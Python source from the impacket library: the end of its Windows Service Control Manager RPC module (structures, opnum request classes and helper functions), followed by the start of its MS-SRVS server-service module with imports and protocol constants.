('ServiceStatus', SERVICE_STATUS_PROCESS),
)
class SERVICE_TRIGGER_INFO(NDRSTRUCT):
structure = (
('cTriggers', DWORD),
('pTriggers', PSERVICE_TRIGGER),
('pReserved', NDRPOINTERNULL ),
)
def getData(self, soFar = 0):
if self['pTriggers'] != 0:
self['cTriggers'] = len(self['pTriggers'])
return NDR.getData(self, soFar)
class PSERVICE_TRIGGER_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_TRIGGER_INFO),
)
class SERVICE_PREFERRED_NODE_INFO(NDRSTRUCT):
structure = (
('usPreferredNode', USHORT),
('fDelete', BOOL),
)
class LPSERVICE_PREFERRED_NODE_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_PREFERRED_NODE_INFO),
)
class SERVICE_RUNLEVEL_INFO(NDRSTRUCT):
structure = (
('eLowestRunLevel', DWORD),
)
class PSERVICE_RUNLEVEL_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_RUNLEVEL_INFO),
)
class SERVICE_MANAGEDACCOUNT_INFO(NDRSTRUCT):
structure = (
('fIsManagedAccount', DWORD),
)
class PSERVICE_MANAGEDACCOUNT_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_MANAGEDACCOUNT_INFO),
)
class SC_RPC_CONFIG_INFOW_UNION(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
1: ('psd', LPSERVICE_DESCRIPTIONW),
2: ('psfa',LPSERVICE_FAILURE_ACTIONSW ),
3: ('psda',LPSERVICE_DELAYED_AUTO_START_INFO),
4: ('psfaf',LPSERVICE_FAILURE_ACTIONS_FLAG),
5: ('pssid',LPSERVICE_SID_INFO),
6: ('psrp',LPSERVICE_RPC_REQUIRED_PRIVILEGES_INFO),
7: ('psps',LPSERVICE_PRESHUTDOWN_INFO),
8: ('psti',PSERVICE_TRIGGER_INFO),
9: ('pspn',LPSERVICE_PREFERRED_NODE_INFO),
10: ('psri',PSERVICE_RUNLEVEL_INFO),
11: ('psma',PSERVICE_MANAGEDACCOUNT_INFO),
}
class SC_RPC_CONFIG_INFOW(NDRSTRUCT):
structure = (
('dwInfoLevel', DWORD),
('Union', SC_RPC_CONFIG_INFOW_UNION),
)
################################################################################
# RPC CALLS
################################################################################
class RCloseServiceHandle(NDRCALL):
opnum = 0
structure = (
('hSCObject',SC_RPC_HANDLE),
)
class RCloseServiceHandleResponse(NDRCALL):
structure = (
('hSCObject',SC_RPC_HANDLE),
('ErrorCode', DWORD),
)
class RControlService(NDRCALL):
opnum = 1
structure = (
('hService',SC_RPC_HANDLE),
('dwControl',DWORD),
)
class RControlServiceResponse(NDRCALL):
structure = (
('lpServiceStatus',SERVICE_STATUS),
('ErrorCode', DWORD),
)
class RDeleteService(NDRCALL):
opnum = 2
structure = (
('hService',SC_RPC_HANDLE),
)
class RDeleteServiceResponse(NDRCALL):
structure = (
('ErrorCode', DWORD),
)
class RLockServiceDatabase(NDRCALL):
opnum = 3
structure = (
('hSCManager',SC_RPC_HANDLE),
)
class RLockServiceDatabaseResponse(NDRCALL):
structure = (
('lpLock',SC_RPC_LOCK),
('ErrorCode', DWORD),
)
class RQueryServiceObjectSecurity(NDRCALL):
opnum = 4
structure = (
('hService',SC_RPC_HANDLE),
('dwSecurityInformation',SECURITY_INFORMATION),
('cbBufSize',DWORD),
)
class RQueryServiceObjectSecurityResponse(NDRCALL):
structure = (
('lpSecurityDescriptor',LPBYTE),
('pcbBytesNeeded',BOUNDED_DWORD_256K),
('ErrorCode', DWORD),
)
class RSetServiceObjectSecurity(NDRCALL):
opnum = 5
structure = (
('hService',SC_RPC_HANDLE),
('dwSecurityInformation',SECURITY_INFORMATION),
('lpSecurityDescriptor',LPBYTE),
('cbBufSize',DWORD),
)
class RSetServiceObjectSecurityResponse(NDRCALL):
structure = (
('ErrorCode', DWORD),
)
class RQueryServiceStatus(NDRCALL):
opnum = 6
structure = (
('hService',SC_RPC_HANDLE),
)
class RQueryServiceStatusResponse(NDRCALL):
structure = (
('lpServiceStatus',SERVICE_STATUS),
('ErrorCode', DWORD),
)
class RSetServiceStatus(NDRCALL):
opnum = 7
structure = (
('hServiceStatus',SC_RPC_HANDLE),
('lpServiceStatus',SERVICE_STATUS),
)
class RSetServiceStatusResponse(NDRCALL):
structure = (
('ErrorCode', DWORD),
)
class RUnlockServiceDatabase(NDRCALL):
opnum = 8
structure = (
('Lock',SC_RPC_LOCK),
)
class RUnlockServiceDatabaseResponse(NDRCALL):
structure = (
('Lock',SC_RPC_LOCK),
('ErrorCode', DWORD),
)
class RNotifyBootConfigStatus(NDRCALL):
opnum = 9
structure = (
('lpMachineName',SVCCTL_HANDLEW),
('BootAcceptable',DWORD),
)
class RNotifyBootConfigStatusResponse(NDRCALL):
structure = (
('ErrorCode', DWORD),
)
class RChangeServiceConfigW(NDRCALL):
opnum = 11
structure = (
('hService',SC_RPC_HANDLE),
('dwServiceType',DWORD),
('dwStartType',DWORD),
('dwErrorControl',DWORD),
('lpBinaryPathName',LPWSTR),
('lpLoadOrderGroup',LPWSTR),
('lpdwTagId',LPDWORD),
('lpDependencies',LPBYTE),
('dwDependSize',DWORD),
('lpServiceStartName',LPWSTR),
('lpPassword',LPBYTE),
('dwPwSize',DWORD),
('lpDisplayName',LPWSTR),
)
class RChangeServiceConfigWResponse(NDRCALL):
structure = (
('lpdwTagId',LPDWORD),
('ErrorCode', DWORD),
)
class RCreateServiceW(NDRCALL):
opnum = 12
structure = (
('hSCManager',SC_RPC_HANDLE),
('lpServiceName',WSTR),
('lpDisplayName',LPWSTR),
('dwDesiredAccess',DWORD),
('dwServiceType',DWORD),
('dwStartType',DWORD),
('dwErrorControl',DWORD),
('lpBinaryPathName',WSTR),
('lpLoadOrderGroup',LPWSTR),
('lpdwTagId',LPDWORD),
('lpDependencies',LPBYTE),
('dwDependSize',DWORD),
('lpServiceStartName',LPWSTR),
('lpPassword',LPBYTE),
('dwPwSize',DWORD),
)
class RCreateServiceWResponse(NDRCALL):
structure = (
('lpdwTagId',LPWSTR),
('lpServiceHandle',SC_RPC_HANDLE),
('ErrorCode', DWORD),
)
class REnumDependentServicesW(NDRCALL):
opnum = 13
structure = (
('hService',SC_RPC_HANDLE),
('dwServiceState',DWORD),
('cbBufSize',DWORD),
)
class REnumDependentServicesWResponse(NDRCALL):
structure = (
('lpServices',NDRUniConformantArray),
('pcbBytesNeeded',BOUNDED_DWORD_256K),
('lpServicesReturned',BOUNDED_DWORD_256K),
('ErrorCode', DWORD),
)
class REnumServicesStatusW(NDRCALL):
opnum = 14
structure = (
('hSCManager',SC_RPC_HANDLE),
('dwServiceType',DWORD),
('dwServiceState',DWORD),
('cbBufSize',DWORD),
('lpResumeIndex',LPBOUNDED_DWORD_256K),
)
class REnumServicesStatusWResponse(NDRCALL):
structure = (
('lpBuffer',NDRUniConformantArray),
('pcbBytesNeeded',BOUNDED_DWORD_256K),
('lpServicesReturned',BOUNDED_DWORD_256K),
('lpResumeIndex',LPBOUNDED_DWORD_256K),
('ErrorCode', DWORD),
)
class ROpenSCManagerW(NDRCALL):
opnum = 15
structure = (
('lpMachineName',SVCCTL_HANDLEW),
('lpDatabaseName',LPWSTR),
('dwDesiredAccess',DWORD),
)
class ROpenSCManagerWResponse(NDRCALL):
structure = (
('lpScHandle',SC_RPC_HANDLE),
('ErrorCode', DWORD),
)
class ROpenServiceW(NDRCALL):
opnum = 16
structure = (
('hSCManager',SC_RPC_HANDLE),
('lpServiceName',WSTR),
('dwDesiredAccess',DWORD),
)
class ROpenServiceWResponse(NDRCALL):
structure = (
('lpServiceHandle',SC_RPC_HANDLE),
('ErrorCode', DWORD),
)
class RQueryServiceConfigW(NDRCALL):
opnum = 17
structure = (
('hService',SC_RPC_HANDLE),
('cbBufSize',DWORD),
)
class RQueryServiceConfigWResponse(NDRCALL):
structure = (
('lpServiceConfig',QUERY_SERVICE_CONFIGW),
('pcbBytesNeeded',BOUNDED_DWORD_8K),
('ErrorCode', DWORD),
)
class RQueryServiceLockStatusW(NDRCALL):
opnum = 18
structure = (
('hSCManager',SC_RPC_HANDLE),
('cbBufSize',DWORD),
)
class RQueryServiceLockStatusWResponse(NDRCALL):
structure = (
('lpLockStatus',QUERY_SERVICE_LOCK_STATUSW),
('pcbBytesNeeded',BOUNDED_DWORD_4K),
('ErrorCode', DWORD),
)
class RStartServiceW(NDRCALL):
opnum = 19
structure = (
('hService',SC_RPC_HANDLE),
('argc',DWORD),
('argv',UNIQUE_STRING_PTRSW),
)
class RStartServiceWResponse(NDRCALL):
structure = (
('ErrorCode', DWORD),
)
class RGetServiceDisplayNameW(NDRCALL):
opnum = 20
structure = (
('hSCManager',SC_RPC_HANDLE),
('lpServiceName',WSTR),
('lpcchBuffer',DWORD),
)
class RGetServiceDisplayNameWResponse(NDRCALL):
structure = (
('lpDisplayName',WSTR),
('lpcchBuffer',DWORD),
('ErrorCode', DWORD),
)
class RGetServiceKeyNameW(NDRCALL):
opnum = 21
structure = (
('hSCManager',SC_RPC_HANDLE),
('lpDisplayName',WSTR),
('lpcchBuffer',DWORD),
)
class RGetServiceKeyNameWResponse(NDRCALL):
structure = (
('lpDisplayName',WSTR),
('lpcchBuffer',DWORD),
('ErrorCode', DWORD),
)
class REnumServiceGroupW(NDRCALL):
opnum = 35
structure = (
('hSCManager',SC_RPC_HANDLE),
('dwServiceType',DWORD),
('dwServiceState',DWORD),
('cbBufSize',DWORD),
('lpResumeIndex',LPBOUNDED_DWORD_256K),
('pszGroupName',LPWSTR),
)
class REnumServiceGroupWResponse(NDRCALL):
structure = (
('lpBuffer',LPBYTE),
('pcbBytesNeeded',BOUNDED_DWORD_256K),
('lpServicesReturned',BOUNDED_DWORD_256K),
('lpResumeIndex',BOUNDED_DWORD_256K),
('ErrorCode', DWORD),
)
class RChangeServiceConfig2W(NDRCALL):
opnum = 37
structure = (
('hService',SC_RPC_HANDLE),
('Info',SC_RPC_CONFIG_INFOW),
)
class RChangeServiceConfig2WResponse(NDRCALL):
structure = (
('ErrorCode', DWORD),
)
class RQueryServiceConfig2W(NDRCALL):
opnum = 39
structure = (
('hService',SC_RPC_HANDLE),
('dwInfoLevel',DWORD),
('cbBufSize',DWORD),
)
class RQueryServiceConfig2WResponse(NDRCALL):
structure = (
('lpBuffer',NDRUniConformantArray),
('pcbBytesNeeded',BOUNDED_DWORD_8K),
('ErrorCode', DWORD),
)
class RQueryServiceStatusEx(NDRCALL):
opnum = 40
structure = (
('hService',SC_RPC_HANDLE),
('InfoLevel',DWORD),
('cbBufSize',DWORD),
)
class RQueryServiceStatusExResponse(NDRCALL):
structure = (
('lpBuffer',NDRUniConformantArray),
('pcbBytesNeeded',BOUNDED_DWORD_8K),
('ErrorCode', DWORD),
)
class REnumServicesStatusExW(NDRCALL):
opnum = 42
structure = (
('hSCManager',SC_RPC_HANDLE),
('InfoLevel',DWORD),
('dwServiceType',DWORD),
('dwServiceState',DWORD),
('cbBufSize',DWORD),
('lpResumeIndex',LPBOUNDED_DWORD_256K),
('pszGroupName',LPWSTR),
)
class REnumServicesStatusExWResponse(NDRCALL):
structure = (
('lpBuffer',NDRUniConformantArray),
('pcbBytesNeeded',BOUNDED_DWORD_256K),
('lpServicesReturned',BOUNDED_DWORD_256K),
('lpResumeIndex',BOUNDED_DWORD_256K),
('ErrorCode', DWORD),
)
class RCreateServiceWOW64W(NDRCALL):
opnum = 45
structure = (
('hSCManager',SC_RPC_HANDLE),
('lpServiceName',WSTR),
('lpDisplayName',LPWSTR),
('dwDesiredAccess',DWORD),
('dwServiceType',DWORD),
('dwStartType',DWORD),
('dwErrorControl',DWORD),
('lpBinaryPathName',WSTR),
('lpLoadOrderGroup',LPWSTR),
('lpdwTagId',LPDWORD),
('lpDependencies',LPBYTE),
('dwDependSize',DWORD),
('lpServiceStartName',LPWSTR),
('lpPassword',LPBYTE),
('dwPwSize',DWORD),
)
class RCreateServiceWOW64WResponse(NDRCALL):
structure = (
('lpdwTagId',LPWSTR),
('lpServiceHandle',SC_RPC_HANDLE),
('ErrorCode', DWORD),
)
# Still not working, for some reason something changes in the way the pointer inside SC_RPC_NOTIFY_PARAMS is marshalled here
class RNotifyServiceStatusChange(NDRCALL):
opnum = 47
structure = (
('hService',SC_RPC_HANDLE),
('NotifyParams',SC_RPC_NOTIFY_PARAMS),
('pClientProcessGuid',GUID),
)
class RNotifyServiceStatusChangeResponse(NDRCALL):
structure = (
('pSCMProcessGuid',GUID),
('pfCreateRemoteQueue',PBOOL),
('phNotify',SC_NOTIFY_RPC_HANDLE),
('ErrorCode', DWORD),
)
# Not working, until I don't fix the previous one
class RGetNotifyResults(NDRCALL):
opnum = 48
structure = (
('hNotify',SC_NOTIFY_RPC_HANDLE),
)
class RGetNotifyResultsResponse(NDRCALL):
structure = (
('ppNotifyParams',PSC_RPC_NOTIFY_PARAMS_LIST),
('ErrorCode', DWORD),
)
# Not working, until I don't fix the previous ones
class RCloseNotifyHandle(NDRCALL):
opnum = 49
structure = (
('phNotify',SC_NOTIFY_RPC_HANDLE),
)
class RCloseNotifyHandleResponse(NDRCALL):
structure = (
('phNotify',SC_NOTIFY_RPC_HANDLE),
('pfApcFired',PBOOL),
('ErrorCode', DWORD),
)
# Not working, returning bad_stub_data
class RControlServiceExW(NDRCALL):
opnum = 51
structure = (
('hService',SC_RPC_HANDLE),
('dwControl',DWORD),
('dwInfoLevel',DWORD),
('pControlInParams',SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW),
)
class RControlServiceExWResponse(NDRCALL):
structure = (
('pControlOutParams',SERVICE_CONTROL_STATUS_REASON_OUT_PARAMS),
('ErrorCode', DWORD),
)
class RQueryServiceConfigEx(NDRCALL):
opnum = 56
structure = (
('hService',SC_RPC_HANDLE),
('dwInfoLevel',DWORD),
)
class RQueryServiceConfigExResponse(NDRCALL):
structure = (
('pInfo',SC_RPC_CONFIG_INFOW),
('ErrorCode', DWORD),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (RCloseServiceHandle, RCloseServiceHandleResponse),
1 : (RControlService, RControlServiceResponse),
2 : (RDeleteService, RDeleteServiceResponse),
3 : (RLockServiceDatabase, RLockServiceDatabaseResponse),
4 : (RQueryServiceObjectSecurity, RQueryServiceObjectSecurityResponse),
5 : (RSetServiceObjectSecurity, RSetServiceObjectSecurityResponse),
6 : (RQueryServiceStatus, RQueryServiceStatusResponse),
7 : (RSetServiceStatus, RSetServiceStatusResponse),
8 : (RUnlockServiceDatabase, RUnlockServiceDatabaseResponse),
9 : (RNotifyBootConfigStatus, RNotifyBootConfigStatusResponse),
11 : (RChangeServiceConfigW, RChangeServiceConfigWResponse),
12 : (RCreateServiceW, RCreateServiceWResponse),
13 : (REnumDependentServicesW, REnumDependentServicesWResponse),
14 : (REnumServicesStatusW, REnumServicesStatusWResponse),
15 : (ROpenSCManagerW, ROpenSCManagerWResponse),
16 : (ROpenServiceW, ROpenServiceWResponse),
17 : (RQueryServiceConfigW, RQueryServiceConfigWResponse),
18 : (RQueryServiceLockStatusW, RQueryServiceLockStatusWResponse),
19 : (RStartServiceW, RStartServiceWResponse),
20 : (RGetServiceDisplayNameW, RGetServiceDisplayNameWResponse),
21 : (RGetServiceKeyNameW, RGetServiceKeyNameWResponse),
35 : (REnumServiceGroupW, REnumServiceGroupWResponse),
37 : (RChangeServiceConfig2W, RChangeServiceConfig2WResponse),
39 : (RQueryServiceConfig2W, RQueryServiceConfig2WResponse),
40 : (RQueryServiceStatusEx, RQueryServiceStatusExResponse),
42 : (REnumServicesStatusExW, REnumServicesStatusExWResponse),
45 : (RCreateServiceWOW64W, RCreateServiceWOW64WResponse),
47 : (RNotifyServiceStatusChange, RNotifyServiceStatusChangeResponse),
48 : (RGetNotifyResults, RGetNotifyResultsResponse),
49 : (RCloseNotifyHandle, RCloseNotifyHandleResponse),
51 : (RControlServiceExW, RControlServiceExWResponse),
56 : (RQueryServiceConfigEx, RQueryServiceConfigExResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hRCloseServiceHandle(dce, hSCObject):
request = RCloseServiceHandle()
request['hSCObject'] = hSCObject
return dce.request(request)
def hRControlService(dce, hService, dwControl):
request = RControlService()
request['hService'] = hService
request['dwControl'] = dwControl
return dce.request(request)
def hRDeleteService(dce, hService):
request = RDeleteService()
request ['hService'] = hService
return dce.request(request)
def hRLockServiceDatabase(dce, hSCManager):
request = RLockServiceDatabase()
request['hSCManager'] = hSCManager
return dce.request(request)
def hRQueryServiceObjectSecurity(dce, hService, dwSecurityInformation, cbBufSize ):
request = RQueryServiceObjectSecurity()
request['hService'] = hService
request['dwSecurityInformation'] = dwSecurityInformation
request['cbBufSize'] = cbBufSize
return dce.request(request)
def hRSetServiceObjectSecurity(dce, hService, dwSecurityInformation, lpSecurityDescriptor, cbBufSize ):
request = RSetServiceObjectSecurity()
request['hService'] = hService
request['dwSecurityInformation'] = dwSecurityInformation
request['cbBufSize'] = cbBufSize
return dce.request(request)
def hRQueryServiceStatus(dce, hService ):
request = RQueryServiceStatus()
request['hService'] = hService
return dce.request(request)
def hRSetServiceStatus(dce, hServiceStatus, lpServiceStatus ):
request = RSetServiceStatus()
request['hServiceStatus'] = hServiceStatus
request['lpServiceStatus'] = lpServiceStatus
return dce.request(request)
def hRUnlockServiceDatabase(dce, Lock ):
request = RUnlockServiceDatabase()
request['Lock'] = Lock
return dce.request(request)
def hRNotifyBootConfigStatus(dce, lpMachineName, BootAcceptable ):
request = RNotifyBootConfigStatus()
request['lpMachineName'] = lpMachineName
request['BootAcceptable'] = BootAcceptable
return dce.request(request)
def hRChangeServiceConfigW(dce, hService, dwServiceType=SERVICE_NO_CHANGE, dwStartType=SERVICE_NO_CHANGE, dwErrorControl=SERVICE_NO_CHANGE, lpBinaryPathName=NULL, lpLoadOrderGroup=NULL, lpdwTagId=NULL, lpDependencies=NULL, dwDependSize=0, lpServiceStartName=NULL, lpPassword=NULL, dwPwSize=0, lpDisplayName=NULL):
changeServiceConfig = RChangeServiceConfigW()
changeServiceConfig['hService'] = hService
changeServiceConfig['dwServiceType'] = dwServiceType
changeServiceConfig['dwStartType'] = dwStartType
changeServiceConfig['dwErrorControl'] = dwErrorControl
changeServiceConfig['lpBinaryPathName'] = checkNullString(lpBinaryPathName)
changeServiceConfig['lpLoadOrderGroup'] = checkNullString(lpLoadOrderGroup)
changeServiceConfig['lpdwTagId'] = lpdwTagId
changeServiceConfig['lpDependencies'] = lpDependencies
# Strings MUST be NULL terminated for lpDependencies
changeServiceConfig['dwDependSize'] = dwDependSize
changeServiceConfig['lpServiceStartName'] = checkNullString(lpServiceStartName)
changeServiceConfig['lpPassword'] = lpPassword
changeServiceConfig['dwPwSize'] = dwPwSize
changeServiceConfig['lpDisplayName'] = checkNullString(lpDisplayName)
return dce.request(changeServiceConfig)
def hRCreateServiceW(dce, hSCManager, lpServiceName, lpDisplayName, dwDesiredAccess=SERVICE_ALL_ACCESS, dwServiceType=SERVICE_WIN32_OWN_PROCESS, dwStartType=SERVICE_AUTO_START, dwErrorControl=SERVICE_ERROR_IGNORE, lpBinaryPathName=NULL, lpLoadOrderGroup=NULL, lpdwTagId=NULL, lpDependencies=NULL, dwDependSize=0, lpServiceStartName=NULL, lpPassword=NULL, dwPwSize=0):
createService = RCreateServiceW()
createService['hSCManager'] = hSCManager
createService['lpServiceName'] = checkNullString(lpServiceName)
createService['lpDisplayName'] = checkNullString(lpDisplayName)
createService['dwDesiredAccess'] = dwDesiredAccess
createService['dwServiceType'] = dwServiceType
createService['dwStartType'] = dwStartType
createService['dwErrorControl'] = dwErrorControl
createService['lpBinaryPathName'] = checkNullString(lpBinaryPathName)
createService['lpLoadOrderGroup'] = checkNullString(lpLoadOrderGroup)
createService['lpdwTagId'] = lpdwTagId
# Strings MUST be NULL terminated for lpDependencies
createService['lpDependencies'] = lpDependencies
createService['dwDependSize'] = dwDependSize
createService['lpServiceStartName'] = checkNullString(lpServiceStartName)
createService['lpPassword'] = lpPassword
createService['dwPwSize'] = dwPwSize
return dce.request(createService)
def hREnumDependentServicesW(dce, hService, dwServiceState, cbBufSize ):
enumDependentServices = REnumDependentServicesW()
enumDependentServices['hService'] = hService
enumDependentServices['dwServiceState'] = dwServiceState
enumDependentServices['cbBufSize'] = cbBufSize
return dce.request(enumDependentServices)
def hREnumServicesStatusW(dce, hSCManager, dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_KERNEL_DRIVER|SERVICE_FILE_SYSTEM_DRIVER|SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS, dwServiceState=SERVICE_STATE_ALL):
class ENUM_SERVICE_STATUSW2(NDRSTRUCT):
# This is a little trick, since the original structure is slightly different
# but instead of parsing the LPBYTE buffer at hand, we just do it with the aid
# of the NDR library, although the pointers are swapped from the original specification.
# Why is this? Well.. since we're getting an LPBYTE back, it's just a copy of the remote's memory
# where the pointers are actually POINTING to the data.
# Sadly, the pointers are not aligned based on the services records, so we gotta do this
# It should be easier in C of course.
class STR(NDRPOINTER):
referent = (
('Data', WIDESTR),
)
structure = (
('lpServiceName',STR),
('lpDisplayName',STR),
('ServiceStatus',SERVICE_STATUS),
)
enumServicesStatus = REnumServicesStatusW()
enumServicesStatus['hSCManager'] = hSCManager
enumServicesStatus['dwServiceType'] = dwServiceType
enumServicesStatus['dwServiceState'] = dwServiceState
enumServicesStatus['cbBufSize'] = 0
enumServicesStatus['lpResumeIndex'] = NULL
try:
resp = dce.request(enumServicesStatus)
except DCERPCSessionError, e:
if e.get_error_code() == system_errors.ERROR_MORE_DATA:
resp = e.get_packet()
enumServicesStatus['cbBufSize'] = resp['pcbBytesNeeded']
resp = dce.request(enumServicesStatus)
else:
raise
# Now we're supposed to have all services returned. Now we gotta parse them
enumArray = NDRUniConformantArray()
enumArray.item = ENUM_SERVICE_STATUSW2
enumArray.setArraySize(resp['lpServicesReturned'])
data = ''.join(resp['lpBuffer'])
enumArray.fromString(data)
data = data[4:]
# Since the pointers here are pointing to the actual data, we have to reparse
# the referents
for record in enumArray['Data']:
offset = record.fields['lpDisplayName'].fields['ReferentID']-4
name = WIDESTR(data[offset:])
record['lpDisplayName'] = name['Data']
offset = record.fields['lpServiceName'].fields['ReferentID']-4
name = WIDESTR(data[offset:])
record['lpServiceName'] = name['Data']
return enumArray['Data']
def hROpenSCManagerW(dce, lpMachineName='DUMMY\x00', lpDatabaseName='ServicesActive\x00', dwDesiredAccess=SERVICE_START | SERVICE_STOP | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS | SC_MANAGER_ENUMERATE_SERVICE):
openSCManager = ROpenSCManagerW()
openSCManager['lpMachineName'] = checkNullString(lpMachineName)
openSCManager['lpDatabaseName'] = checkNullString(lpDatabaseName)
openSCManager['dwDesiredAccess'] = dwDesiredAccess
return dce.request(openSCManager)
def hROpenServiceW(dce, hSCManager, lpServiceName, dwDesiredAccess= SERVICE_ALL_ACCESS):
openService = ROpenServiceW()
openService['hSCManager'] = hSCManager
openService['lpServiceName'] = checkNullString(lpServiceName)
openService['dwDesiredAccess'] = dwDesiredAccess
return dce.request(openService)
def hRQueryServiceConfigW(dce, hService):
queryService = RQueryServiceConfigW()
queryService['hService'] = hService
queryService['cbBufSize'] = 0
try:
resp = dce.request(queryService)
except DCERPCSessionError, e:
if e.get_error_code() == system_errors.ERROR_INSUFFICIENT_BUFFER:
resp = e.get_packet()
queryService['cbBufSize'] = resp['pcbBytesNeeded']
resp = dce.request(queryService)
else:
raise
return resp
def hRQueryServiceLockStatusW(dce, hSCManager, cbBufSize ):
queryServiceLock = RQueryServiceLockStatusW()
queryServiceLock['hSCManager'] = hSCManager
queryServiceLock['cbBufSize'] = cbBufSize
return dce.request(queryServiceLock)
def hRStartServiceW(dce, hService, argc=0, argv=NULL ):
startService = RStartServiceW()
startService['hService'] = hService
startService['argc'] = argc
if argc == 0:
startService['argv'] = NULL
else:
for item in argv:
itemn = LPWSTR()
itemn['Data'] = checkNullString(item)
startService['argv'].append(itemn)
return dce.request(startService)
def hRGetServiceDisplayNameW(dce, hSCManager, lpServiceName, lpcchBuffer ):
getServiceDisplay = RGetServiceDisplayNameW()
getServiceDisplay['hSCManager'] = hSCManager
getServiceDisplay['lpServiceName'] = checkNullString(lpServiceName)
getServiceDisplay['lpcchBuffer'] = lpcchBuffer
return dce.request(getServiceDisplay)
def hRGetServiceKeyNameW(dce, hSCManager, lpDisplayName, lpcchBuffer ):
getServiceKeyName = RGetServiceKeyNameW()
getServiceKeyName['hSCManager'] = hSCManager
getServiceKeyName['lpDisplayName'] = checkNullString(lpDisplayName)
getServiceKeyName['lpcchBuffer'] = lpcchBuffer
return dce.request(getServiceKeyName)
def hREnumServiceGroupW(dce, hSCManager, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex = NULL, pszGroupName = NULL ):
enumServiceGroup = REnumServiceGroupW()
enumServiceGroup['hSCManager'] = hSCManager
enumServiceGroup['dwServiceType'] = dwServiceType
enumServiceGroup['dwServiceState'] = dwServiceState
enumServiceGroup['cbBufSize'] = cbBufSize
enumServiceGroup['lpResumeIndex'] = lpResumeIndex
enumServiceGroup['pszGroupName'] = pszGroupName
return dce.request(enumServiceGroup)
impacket-0.9.15/impacket/dcerpc/v5/srvs.py 0000600 0000765 0000000 00000257031 12734531507 020417 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-SRVS] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h".
# There are test cases for them too.
#
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
NDRUniFixedArray, NDRBOOLEAN, NDRUniConformantVaryingArray, PNDRUniConformantArray
from impacket.dcerpc.v5.dtypes import NULL, DWORD, LPWSTR, LPBYTE, LMSTR, ULONG, GUID, LPLONG, WSTR, \
SECURITY_INFORMATION, WCHAR
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_SRVS = uuidtup_to_bin(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if system_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'SRVS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'SRVS SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.1.1 SRVSVC_HANDLE
SRVSVC_HANDLE = WCHAR
class PSRVSVC_HANDLE(NDRPOINTER):
referent = (
('Data', SRVSVC_HANDLE),
)
# 2.2.1.2 SHARE_DEL_HANDLE
class SHARE_DEL_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data','20s=""'),
)
# 2.2.1.3 PSHARE_DEL_HANDLE
class PSHARE_DEL_HANDLE(NDRPOINTER):
referent = (
('Data', SHARE_DEL_HANDLE),
)
# 2.2.2.2 MAX_PREFERRED_LENGTH
MAX_PREFERRED_LENGTH = -1
# 2.2.2.3 Session User Flags
SESS_GUEST = 0x00000001
SESS_NOENCRYPTION = 0x00000002
# 2.2.2.4 Share Types
STYPE_DISKTREE = 0x00000000
STYPE_PRINTQ = 0x00000001
STYPE_DEVICE = 0x00000002
STYPE_IPC = 0x00000003
STYPE_CLUSTER_FS = 0x02000000
STYPE_CLUSTER_SOFS = 0x04000000
STYPE_CLUSTER_DFS = 0x08000000
STYPE_SPECIAL = 0x80000000
STYPE_TEMPORARY = 0x40000000
# 2.2.2.5 Client-Side Caching (CSC) States
CSC_CACHE_MANUAL_REINT = 0x00
CSC_CACHE_AUTO_REINT = 0x10
CSC_CACHE_VDO = 0x20
CSC_CACHE_NONE = 0x30
# 2.2.2.6 Platform IDs
PLATFORM_ID_DOS = 300
PLATFORM_ID_OS2 = 400
PLATFORM_ID_NT = 500
PLATFORM_ID_OSF = 600
PLATFORM_ID_VMS = 700
# 2.2.2.7 Software Type Flags
SV_TYPE_WORKSTATION = 0x00000001
SV_TYPE_SERVER = 0x00000002
SV_TYPE_SQLSERVER = 0x00000004
SV_TYPE_DOMAIN_CTRL = 0x00000008
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010
SV_TYPE_TIME_SOURCE = 0x00000020
SV_TYPE_AFP = 0x00000040
SV_TYPE_NOVELL = 0x00000080
SV_TYPE_DOMAIN_MEMBER = 0x00000100
SV_TYPE_LOCAL_LIST_ONLY = 0x40000000
SV_TYPE_PRINTQ_SERVER = 0x00000200
SV_TYPE_DIALIN_SERVER = 0x00000400
SV_TYPE_XENIX_SERVER = 0x00000800
SV_TYPE_SERVER_MFPN = 0x00004000
SV_TYPE_NT = 0x00001000
SV_TYPE_WFW = 0x00002000
SV_TYPE_SERVER_NT = 0x00008000
SV_TYPE_POTENTIAL_BROWSER = 0x00010000
SV_TYPE_BACKUP_BROWSER = 0x00020000
